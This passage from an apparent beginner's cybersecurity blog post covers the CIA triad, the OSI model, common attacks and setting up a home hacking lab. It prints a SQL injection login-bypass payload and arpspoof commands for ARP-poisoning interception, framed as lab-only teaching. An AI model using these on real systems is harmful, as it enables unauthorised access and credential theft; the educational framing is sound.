this. The <strong>CIA Triad</strong> is the lens through which every security decision is made.</p><p>It stands for <strong>Confidentiality, Integrity, and Availability</strong>. Simple words, but once you truly understand them, you start seeing security differently.</p><h3>1. Confidentiality</h3><blockquote><strong><em>Only authorized people should access the data.</em></strong></blockquote><p>This is about keeping secrets secret. When I think of confidentiality, I think of that hack I witnessed. The attacker got access to private data that was never meant for their eyes. Confidentiality failed.</p><p><strong>How we enforce it technically:</strong></p><ul><li><strong>Encryption</strong>: AES-256 for data at rest, TLS 1.3 for data in transit</li><li><strong>Access Control Lists (ACLs)</strong>: Define who can read/write/execute</li><li><strong>Role-Based Access Control (RBAC)</strong>: Permissions tied to roles, not individuals</li><li><strong>Data masking</strong>: Hiding parts of sensitive data (e.g., showing ****-****-****-4242 for a credit card)</li></ul><p><strong>Let me make this concrete.</strong> When you log into your bank account, TLS encryption ensures that your credentials travel encrypted over the network. Even if an attacker intercepts the traffic with a Man-in-the-Middle attack, they see gibberish not your password:</p><pre>[Your Browser] ---TLS 1.3 Encrypted Tunnel--- [Bank Server]<br>     |                                              |<br>  Plaintext:                                   Plaintext:<br>  user=john                                    user=john<br>  pass=S3cur3!                                 pass=S3cur3!<br>     |                                              |<br>  On the wire (what attacker sees):<br>  0x7A 0xF3 0x91 0xBB 0x2E 0xC4 0x8D ...</pre><p>I’ve actually captured this kind of traffic in Wireshark during a lab session. When TLS is active, all you see in the packet payload is encrypted noise. The moment you switch to plain HTTP boom, credentials in cleartext. Seeing it with your own eyes changes everything.</p><h3>2. Integrity</h3><blockquote><strong><em>Data must not be altered or tampered with.</em></strong></blockquote><p>Integrity guarantees that data remains accurate and unmodified during storage and transmission. If someone modifies a file whether it’s malware injecting code or an attacker tampering with a download you should be able to detect it.</p><p><strong>How we enforce it technically:</strong></p><ul><li><strong>Hashing algorithms</strong>: SHA-256, SHA-3 to generate fixed-length fingerprints of data</li><li><strong>Digital signatures</strong>: RSA/ECDSA signatures to verify authenticity</li><li><strong>HMAC (Hash-based Message Authentication Code)</strong>: Combines a secret key with a hash to verify both integrity and authenticity</li><li><strong>Checksums</strong>: MD5/SHA used to verify file downloads</li></ul><p><strong>Here’s something I do every time</strong> I download a security tool. When I first set up Kali Linux, I verified the ISO file before installing it. The Kali website provides a SHA-256 hash, and I ran:</p><pre># On Linux/Mac<br>sha256sum kali-linux-2024.4-installer-amd64.iso<br><br># On Windows (PowerShell)<br>Get-FileHash .\kali-linux-2024.4-installer-amd64.iso -Algorithm SHA256</pre><p>If the hash matches the one on the website → the file is intact. If not → it’s been tampered with, and you should <strong>NOT</strong> install it. This is a habit I built early, and I’d encourage you to do the same. It takes 10 seconds and could save you from running a compromised tool.</p><h3>3. Availability</h3><blockquote><strong><em>Systems and data must be accessible when needed.</em></strong></blockquote><p>Here’s the thing that took me a while to appreciate: a perfectly secure system that nobody can use is useless. What’s the point of encrypting everything and requiring 5 layers of authentication if legitimate users can’t get their work done?</p><p><strong>How we enforce it technically:</strong></p><ul><li><strong>Redundancy</strong>: RAID arrays, load balancers, failover clusters</li><li><strong>DDoS protection</strong>: Cloudflare, AWS Shield, rate limiting</li><li><strong>Backup strategies</strong>: 3–2–1 rule (3 copies, 2 different media, 1 offsite)</li><li><strong>SLA monitoring</strong>: Uptime guarantees (99.99% = ~52 min downtime/year)</li></ul><p><strong>A real-world case that blew my mind when I studied it:</strong> In October 2016, a massive DDoS attack hit <strong>Dyn</strong> (a DNS provider), taking down Twitter, Netflix, Reddit, and Spotify all at once. The attack used a botnet of IoT devices called <strong>Mirai</strong>, generating ~1.2 Tbps of traffic. Millions of users couldn’t access services they rely on daily. Availability was destroyed, and it was caused by <em>insecure default passwords on cameras and routers</em>.</p><h3>The Trade-offs</h3><p>Here’s something I picked up not from a textbook, but from actual lab work and class discussions: <strong>the three pillars often fight each other.</strong> Strengthening one can weaken another.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6HdPMYsKMxwyjuFs1HM6Lw.png" /></figure><p>I remember a class exercise where we had to design a security policy for a hospital system. We went overboard with encryption and multi-factor auth on everything and then the professor asked: <em>“What happens when a doctor needs emergency access to a patient’s records at 3 AM and the biometric scanner fails?”</em> We had broken availability in the name of security.</p><p><strong>Good security = finding the right balance for your specific context.</strong> There’s no universal answer.</p><h3>The OSI Model: Understanding the Battlefield</h3><p>You can’t defend a network if you don’t understand how data flows through it. This was one of the first things drilled into us in networking class, and it took me a while to see why it matters for <em>security</em> specifically.</p><p>The <strong>OSI (Open Systems Interconnection) Model</strong> breaks network communication into <strong>7 layers</strong>. As a security professional, you need to know what happens at each layer and crucially, <strong>what attacks target it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0kzt0NI-gDzktrLBOmUEDw.png" /></figure><h3>What Actually Happens When You Visit <a href="https://google.com/?">https://google.com?</a></h3><p>This is an exercise I did to make the OSI model click in my head. Let’s trace a single web request through all 7 layers:</p><pre>Layer 7 (Application):    Your browser creates an HTTP GET request<br>Layer 6 (Presentation):   TLS encrypts the request payload<br>Layer 5 (Session):        A TLS session is established (handshake)<br>Layer 4 (Transport):      TCP segments the data, assigns port 443<br>Layer 3 (Network):        IP packet created (src: your IP → dst: Google&#39;s IP)<br>Layer 2 (Data Link):      Ethernet frame wraps the packet with MAC addresses<br>Layer 1 (Physical):       Electrical/optical signals travel through cable/Wi-Fi</pre><p><strong>The security takeaway that changed my perspective:</strong> An attacker can target <strong>ANY</strong> of these layers. A firewall protects at Layers 3–4. A WAF protects at Layer 7. But what about Layers 1–2? Physical security and network segmentation cover those. This is why the industry talks about <strong>defense in depth</strong> you need security at every layer, because attackers will find the one you missed.</p><p>I’ve used Wireshark to watch this process in real time. You can actually see the TCP three-way handshake, the TLS negotiation, and the encrypted application data layer by layer. If you’ve never done this, I highly recommend it. It turns an abstract model into something tangible.</p><h3>Common Attack Vectors: Know Your Enemy</h3><p>After spending time on CTF platforms and studying real-world breaches, I’ve developed a deep respect for how creative attackers can be. Here are the attack vectors you’ll encounter most often:</p><h3>1. Phishing</h3><p>Still the #1 initial access vector in the real world, and for good reason it targets humans, not systems. I’ve analyzed phishing emails in class, and the sophistication of some campaigns is genuinely impressive (and terrifying).</p><p><strong>Types:</strong></p><ul><li><strong>Spear phishing</strong>: Targeted at a specific individual</li><li><strong>Whaling</strong>: Targeting C-level executives</li><li><strong>Vishing</strong>: Voice phishing (phone calls)</li><li><strong>Smishing</strong>: SMS phishing</li></ul><p><strong>Here’s how I was taught to analyze a suspicious email header:</strong></p><pre>From: security@paypa1.com          ← Notice the &quot;1&quot; instead of &quot;l&quot;<br>Reply-To: hacker@evil.com          ← Different reply address!<br>Received: from mail.evil.com [185.xx.xx.xx]  ← Suspicious origin IP<br>X-Mailer: PHPMailer 6.1.4         ← Automated mailer, not legitimate</pre><p>Once you know what to look for, you start spotting these in your own inbox. It changes how you interact with email forever.</p><h3>2. Malware</h3><p>Malicious software designed to damage, disrupt, or gain unauthorized access. I’ve studied several of these in depth for coursework, and each type has its own behavior pattern:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R4fstQGntBcoOEe3lJ9Xvw.png" /></figure><p>WannaCry is one I’ve researched extensively it exploited <strong>EternalBlue</strong> (MS17–010), a vulnerability in SMB that the NSA had discovered and kept secret. When it leaked, attackers weaponized it within weeks. It affected 200,000+ machines across 150 countries. The lesson? <strong>Patch your systems.</strong></p><h3>3. SQL Injection (SQLi)</h3><p>This one is personal because it was the first real vulnerability I exploited in a lab environment. The moment I bypassed a login page with a single line of input, the power (and danger) of this vulnerability became crystal clear.</p><p><strong>Vulnerable code (Python + SQL):</strong></p><pre># DANGEROUS - Never do this!<br>query = &quot;SELECT * FROM users WHERE username = &#39;&quot; + user_input + &quot;&#39; AND password = &#39;&quot; + pass_input + &quot;&#39;&quot;</pre><p><strong>The attack payload I used:</strong></p><pre>Username: admin&#39; OR &#39;1&#39;=&#39;1&#39; --<br>Password: anything</pre><p><strong>What the database actually executes:</strong></p><pre>SELECT * FROM users <br>WHERE username = &#39;admin&#39; OR &#39;1&#39;=&#39;1&#39; --&#39; AND password = &#39;anything&#39;</pre><p>The OR &#39;1&#39;=&#39;1&#39; always evaluates to TRUE, so the database returns <strong>all users</strong>. The -- comments out the password check entirely. Just like that you&#39;re logged in as admin.</p><p>I sat in my chair staring at the screen for a solid minute. <em>That’s it? That’s all it takes?</em> And then I realized: this is why so many breaches happen. Developers who don’t know about parameterized queries leave doors wide open.</p><p><strong>The fix parameterized queries:</strong></p><pre># SAFE - Use parameterized queries<br>cursor.execute(<br>    &quot;SELECT * FROM users WHERE username = %s AND password = %s&quot;,<br>    (user_input, pass_input)<br>)</pre><p>The database treats the input as <em>data</em>, never as <em>code</em>. Simple fix, but it eliminates an entire class of vulnerabilities. I’ve used <strong>SQLMap</strong> to automate SQL injection testing, and it’s frightening how many vulnerable endpoints exist in CTF challenges and in real-world applications.</p><h3>4. DDoS (Distributed Denial of Service)</h3><p>Overwhelming a target with massive traffic to make it unavailable. This directly attacks the <strong>Availability</strong> pillar of the CIA Triad.</p><p><strong>The anatomy of a SYN Flood attack:</strong></p><pre>Attacker sends thousands of TCP SYN packets with spoofed IPs:<br><br>Attacker → [SYN] → Target Server<br>           [SYN] →<br>           [SYN] →<br>           [SYN] →  (thousands per second)<br><br>Server responds to each with SYN-ACK... but the spoofed IPs never<br>complete the handshake (no ACK), so the server keeps waiting.<br><br>Result: Server&#39;s connection table fills up → legitimate users can&#39;t connect.</pre><p>Understanding the TCP three-way handshake is essential to understanding why this works. It exploits the protocol’s design the server <em>has</em> to allocate resources while waiting for the final ACK that never comes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23iX_QiqttZOHSuNJ0ax9A.png" /><figcaption><strong>TCP Three-Way Handshake</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XUUmo_UsYPBKLQOPHmQlnw.png" /><figcaption><strong>SYN Flood Attack</strong></figcaption></figure><h3>5. Man-in-the-Middle (MITM)</h3><p>The attacker secretly intercepts and potentially alters communication between two parties. I’ve performed this attack in a controlled lab environment using ARP poisoning, and it’s one of the most eye-opening exercises you can do.</p><p><strong>How ARP poisoning works:</strong></p><pre>Normal:<br>  [Victim PC] ←→ [Router/Gateway] ←→ [Internet]<br><br>After ARP Poisoning:<br>  [Victim PC] ←→ [Attacker&#39;s Machine] ←→ [Router/Gateway] ←→ [Internet]<br>                        ↓<br>                  Captures all traffic<br>                  Can modify packets<br>                  Can inject malicious content</pre><p><strong>The commands I used in my lab (on an isolated network):</strong></p><pre># Tell the victim that YOU are the gateway<br>arpspoof -i eth0 -t 192.168.1.100 192.168.1.1<br><br># Tell the gateway that YOU are the victim<br>arpspoof -i eth0 -t 192.168.1.1 192.168.1.100<br><br># Enable IP forwarding to relay traffic transparently<br>echo 1 &gt; /proc/sys/net/ipv4/ip_forward</pre><p>Then I opened Wireshark and watched the victim’s HTTP traffic flow through my machine in real time. Usernames, passwords, search queries all visible. This is exactly why HTTPS matters. When I switched the victim’s browsing to HTTPS sites, all I could see was encrypted TLS traffic. The difference is night and day.</p><blockquote><strong><em>Important:</em></strong><em> I did this in a controlled lab environment on machines I own. Never perform these attacks on networks or systems without explicit written authorization. </em><strong><em>It’s illegal and unethical.</em></strong></blockquote><h3>Essential Tools: Your Starter Arsenal</h3><p>Over the past two years, I’ve built up my toolbox through classes, CTFs, and personal projects. Here are the tools I use regularly, organized by purpose:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zcym-SbHqEOw_gyDTRwgOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kTD0_Y7QJNJSnC4-go8_9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HtqiscktugWyM-mICyiExg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCal406ZsPRdvrQHwWJIvQ.png" /></figure><h3>Let Me Show You Nmap in Action</h3><p>Here’s output from an actual scan I ran against a vulnerable training machine. This is what real reconnaissance looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*ZkGYt5oLU0f2_5pvRpOCwg.png" /></figure><h3>How I Set It Up (Step by Step)</h3><pre>┌──(kali㉿kali)-[~]<br>└─$ nmap -sV -sC -A 10.10.10.5<br><br>Starting Nmap 7.94SVN ( https://nmap.org )<br>Nmap scan report for 10.10.10.5<br>Host is up (0.045s latency).<br>Not shown: 998 filtered tcp ports (no-response)<br><br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     Microsoft ftpd<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_Can login as anonymous → SECURITY RISK!<br>| ftp-syst:<br>|_  SYST: Windows_NT<br><br>80/tcp open  http    Microsoft IIS httpd 7.5<br>|_http-title: IIS7<br>|_http-server-header: Microsoft-IIS/7.5<br>| http-methods:<br>|_  Potentially risky methods: TRACE<br> <br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds</pre><p><strong>What I immediately noticed from this scan:</strong></p><ul><li><strong>Port 21 (FTP)</strong> allows <strong>anonymous login</strong> that’s a critical misconfiguration I can exploit</li><li><strong>Port 80 </strong>runs <strong>IIS 7.5</strong> an older version with known CVEs I can research</li><li>The TRACE method is enabled potential for Cross-Site Tracing (XST) attacks</li><li>The OS is <strong>Windows</strong> narrows down which exploits and techniques to try</li></ul><p>Reading Nmap output becomes second nature after enough practice. Each line tells a story about the target’s configuration and potential weaknesses.</p><h3>Building Your First Lab: Hack Legally</h3><p>This was a game-changer for me. When I was starting out, I was afraid to practice because I didn’t want to accidentally break anything (or do anything illegal). Then a classmate showed me how to set up an isolated lab, and suddenly I had a safe playground to experiment in.</p><blockquote><strong><em>GOLDEN RULE:</em></strong><em> </em><strong><em>Never</em></strong><em> attack systems </em><strong><em>you don’t own </em></strong><em>or have explicit written permission to test. Build your own lab instead. </em><strong><em>Everything I describe below runs on your own machine in an isolated virtual network</em></strong><em>.</em></blockquote><h3>What You Need</h3><ol><li><strong>Hypervisor</strong> (I use VirtualBox it’s free):</li></ol><ul><li><a href="https://www.virtualbox.org/">VirtualBox</a> Free, open source</li><li><a href="https://www.vmware.com/">VMware Workstation Player</a> Also free for personal use</li></ul><p><strong>2. Attacker Machine</strong>:</p><ul><li><a href="https://www.kali.org/">Kali Linux</a> Pre-loaded with 600+ security tools</li><li>This is what I use daily. It has everything: Nmap, Wireshark, Metasploit, Burp Suite, John the Ripper all pre-installed.</li></ul><p><strong>3. Vulnerable Target Machines</strong> (intentionally broken for practice):</p><ul><li><a href="https://sourceforge.net/projects/metasploitable/">Metasploitable 2</a> Classic vulnerable Linux VM</li><li><a href="https://github.com/digininja/DVWA">DVWA</a> Damn Vulnerable Web Application (perfect for practicing SQLi, XSS, etc.)</li><li><a href="https://www.hackthebox.com/">HackTheBox</a> Online platform with realistic machines</li><li><a href="https://tryhackme.com/">TryHackMe</a> Guided learning paths (this is where I started)</li></ul><h3>Lab Network Architecture</h3><p>Here’s the exact setup I use. The key is the <strong>Internal Network</strong> — it isolates your vulnerable VMs from your real network:</p><h3>How I Set It Up (Step by Step)</h3><pre># 1. Download &amp; install VirtualBox<br># 2. Download Kali Linux OVA (pre-built VM — saves time)<br># 3. Download Metasploitable 2<br># 4. In VirtualBox, configure networking:<br>#    - Select each VM → Settings → Network<br>#    - Adapter 1: Internal Network (name: &quot;hacklab&quot;)<br>#    - Kali gets Adapter 2 as NAT (so you still have internet for updates)<br><br># 5. Boot Kali and configure the internal interface:<br>sudo ip addr add 10.10.10.2/24 dev eth1<br>sudo ip link set eth1 up<br><br># 6. Boot Metasploitable (default creds: msfadmin / msfadmin)<br><br># 7. Verify connectivity:<br>ping 10.10.10.5<br><br># 8. Run your first scan:<br>nmap -sV 10.10.10.5<br><br># You should see a ton of open ports and services — <br># that&#39;s the point. It&#39;s intentionally vulnerable. Go explore.</pre><p>The first time I got this working and saw all those open ports on Metasploitable, I felt like I had a real hacking lab. And I did. This is the same approach professional penetration testers use to practice just scaled down to your laptop.</p><h3>Key Concepts Cheat Sheet</h3><p>I keep a version of this on my desk. These terms come up constantly in classes, in CTFs, in security news, in job postings:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9zYpjRzfL5rwGpnP2KRpw.png" /></figure><h3>Your Action Items</h3><p>Don’t just read, <strong>do</strong>. Here’s what I’d suggest before the next post:</p><ul><li>Install VirtualBox on your machine</li><li>Download and set up Kali Linux (use the OVA it’s faster)</li><li>Download Metasploitable 2</li><li>Create an internal network and verify connectivity with ping</li><li>Run your first nmap -sV scan on the target and read the output</li><li>Create accounts on <a href="https://tryhackme.com/">TryHackMe</a> and <a href="https://www.hackthebox.com/">HackTheBox</a> also <a href="https://www.root-me.org/">rootme</a> (this one was introduced by my professor)</li><li>Complete the “Introduction to Cybersecurity” path on TryHackMe</li></ul><p>I did all of these when I was starting out, and they gave me more practical understanding in a weekend than weeks of reading theory.</p><h3>Final Thoughts</h3><p>Cybersecurity is not a destination it’s a constant chase. New CVEs drop every morning, attack techniques evolve weekly, and the threat landscape shifts faster than any curriculum can keep up with. But that’s also what makes this field exciting.</p><p>I started this journey because I saw someone get hacked and felt helpless. Three years later, I’m not helpless anymore and if you’re reading this, you won’t be either.</p><p>Start with the foundations. Understand the <em>why</em> behind every tool and technique. Build your lab. Break things (legally). And always remember: think in connections how systems link together, how data flows, where the weak points hide. That’s the mindset that separates someone who <em>knows about</em> cybersecurity from someone who actually <em>practices</em> it.</p><p>See you in Blog 02.</p><p><em>If this was useful, follow me for the next post in the series: </em><strong><em>Networking Deep Dive: TCP/IP, Subnetting &amp; Packet Analysis</em></strong><em>, where we’ll dive deep into the protocol stack and learn to read packets like a pro.</em></p><p><em>Questions? Drop them in the comments. I read every single one.</em></p><p><em>All visuals, diagrams, and code examples in this series are</em></p><p><em>created as part of my own learning process.</em></p><h3>#cybersecurity #infosec #ethicalhacking #pentesting #security #kalilinux #beginners</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f449ed4a4a5c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>